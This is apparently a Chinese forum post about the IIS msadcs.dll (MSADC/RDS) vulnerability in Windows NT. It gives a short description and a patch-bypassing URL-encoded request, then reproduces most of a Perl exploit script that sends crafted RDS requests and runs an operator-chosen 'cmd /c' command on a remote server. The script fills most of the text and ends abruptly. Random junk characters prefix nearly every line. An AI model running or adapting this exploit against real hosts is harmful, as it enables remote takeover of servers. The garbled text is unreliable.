IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
(:\LWJX0= 2H[)1|]l 涉及程序:
~U}Mv{y Microsoft NT server
noA-) Ie'P#e' 描述:
X;fy\HaU 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
45}v^|Je\ @qK<T 详细:
ilEi")b= 如果你没有时间读详细内容的话,就删除:
ARL c:\Program Files\Common Files\System\Msadc\msadcs.dll
}uX|5&=~f 有关的安全问题就没有了。
kI*Uk M- $V8vrT#:
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
-!*p*3|03| zTCP)x 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
D\]&8w6& 关于利用ODBC远程漏洞的描述,请参看:
FMu!z
;Gm>O7"|@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r(uP!n1+ `?o=*OS7Y 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
H`<?<ak6'M http://www.microsoft.com/security/bulletins/MS99-025faq.asp sm s1%%~ R]b! $6Lt 这里不再论述。
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, 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
17py).\ pZ+j[! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Qp:6=o0: 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
& 5
<** Uh6mGLz*& boQ)fV" #将下面这段保存为txt文件,然后: "perl -x 文件名"
(iDBhC;/B b%0BkS* #!perl
Hbr^vYs5 #
4DM L # MSADC/RDS 'usage' (aka exploit) script
z
Bf;fi #
^eTZn[qH>w # by rain.forest.puppy
-qn[HXq #
~%aJFs # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
N+>'J23d! # beta test and find errors!
,OBQv.D3>a c2b6B.4 use Socket; use Getopt::Std;
_:,.yRez getopts("e:vd:h:XR", \%args);
mrnxI#6 +Hy4s[_| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
xw%)rm<t nGZ\<- if (!defined $args{h} && !defined $args{R}) {
Ff/Ig]Lb print qq~
r%!FmS< Usage: msadc.pl -h <host> { -d <delay> -X -v }
)y\BY8 -h <host> = host you want to scan (ip or domain)
>Pkdu}xP3 -d <seconds> = delay between calls, default 1 second
ku3D?D:V -X = dump Index Server path table, if available
5!:._TcO -v = verbose
u&3EPu -e = external dictionary file for step 5
@f=RL)$| vb}/@F,Q5 Or a -R will resume a command session
nL;K|W XqFu(Lm8= ~; exit;}
Gm@iV,F%R T{ nQjYb? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
r
}
7:#XQ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ib Ue*Z["1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
F^TAd if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
LV=^jsQ5 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-R@JIe_28f if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
DB Xm M7U:g} if (!defined $args{R}){ $ret = &has_msadc;
-RCv7U` die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
!d|8'^gc j&llrN print "Please type the NT commandline you want to run (cmd /c assumed):\n"
AFtCqq#[ . "cmd /c ";
vcOsq#UW $in=<STDIN>; chomp $in;
B}k'@;G $command="cmd /c " . $in ;
'^lUL) R `wV|q~ if (defined $args{R}) {&load; exit;}
4^MSX+zt ^^Bm$9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;E2~L &try_btcustmr;
o~}1oN ._K$0U! print "\nStep 2: Trying to make our own DSN...";
hwZ6. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
5^o3y.J?P )ys=+Pz print "\nStep 3: Trying known DSNs...";
p9w%kM? &known_dsn;
_}z_yu#jY ox
JGJ print "\nStep 4: Trying known .mdbs...";
|%3O)B &known_mdb;
hqWPf z-)*Q if (defined $args{e}){
+QQYPEx+ print "\nStep 5: Trying dictionary of DSN names...";
1[[TB .xF &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
hC|KH}aCR) IE@ z@+\( print "Sorry Charley...maybe next time?\n";
G#g{3}dcK exit;
?V6 %>RU [M<{P5q ##############################################################################
){jqfkL D;J|eC>^ sub sendraw { # ripped and modded from whisker
Vy&f"4~ sleep($delay); # it's a DoS on the server! At least on mine...
!}j,TPpG my ($pstr)=@_;
WkcH5[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#
s,Y%
Bce die("Socket problems\n");
6BR\iZ if(connect(S,pack "SnA4x8",2,80,$target)){
HcDyD0;L. select(S); $|=1;
t0I>5#*WU print $pstr; my @in=<S>;
S--/<a2 select(STDOUT); close(S);
K#iK6)tS return @in;
JgxA^>|9; } else { die("Can't connect...\n"); }}
VEr 6uvB j&
<tdORT ##############################################################################
d{iL?>'?^ a5>)?m sub make_header { # make the HTTP request
}Olr my $msadc=<<EOT
Qlf
9]ug) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
g8rp|MOH User-Agent: ACTIVEDATA
Kyyih|{ Host: $ip
6S2r Content-Length: $clen
lJ("6aT? Connection: Keep-Alive
olHH9R9: vx PDC~3; ADCClientVersion:01.06
#?A]v>I;C Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@OBHAoz%/ J]$er0`LY --!ADM!ROX!YOUR!WORLD!
{rtM%%l Content-Type: application/x-varg
x$*E\/zi<! Content-Length: $reqlen
$8EV,9^U 91U^o8y EOT
IsWcz+1n ; $msadc=~s/\n/\r\n/g;
^#}dPGm return $msadc;}
`X3Xz! rO5u~"v] ##############################################################################
J.*[gt%O| mQmBf|Rl sub make_req { # make the RDS request
XX*'N+ my ($switch, $p1, $p2)=@_;
8H&_, ; my $req=""; my $t1, $t2, $query, $dsn;
rL.<Z@- ^l&nB